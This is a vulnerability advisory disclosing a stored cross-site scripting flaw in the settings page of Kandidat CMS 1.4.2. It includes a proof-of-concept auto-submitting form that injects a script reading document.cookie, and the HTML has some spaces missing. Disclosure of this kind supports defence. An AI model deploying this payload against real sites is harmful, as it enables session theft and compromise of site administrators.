Vulnerability ID: HTB22648
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms.html
Product: Kandidat CMS
Vendor: Kan-Studio ( http://www.kan-studio.ru/)
Vulnerable Version:1.4.2and probably prior versions
Vendor Notification:19 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied inputin"title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/admin/settings.php?action=validate" method="post" name="main"><inputtype="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'><inputtype="hidden" name="template" value="silver"><inputtype="hidden" name="Submit" value="Save changes"></form><script>
document.main.submit();</script>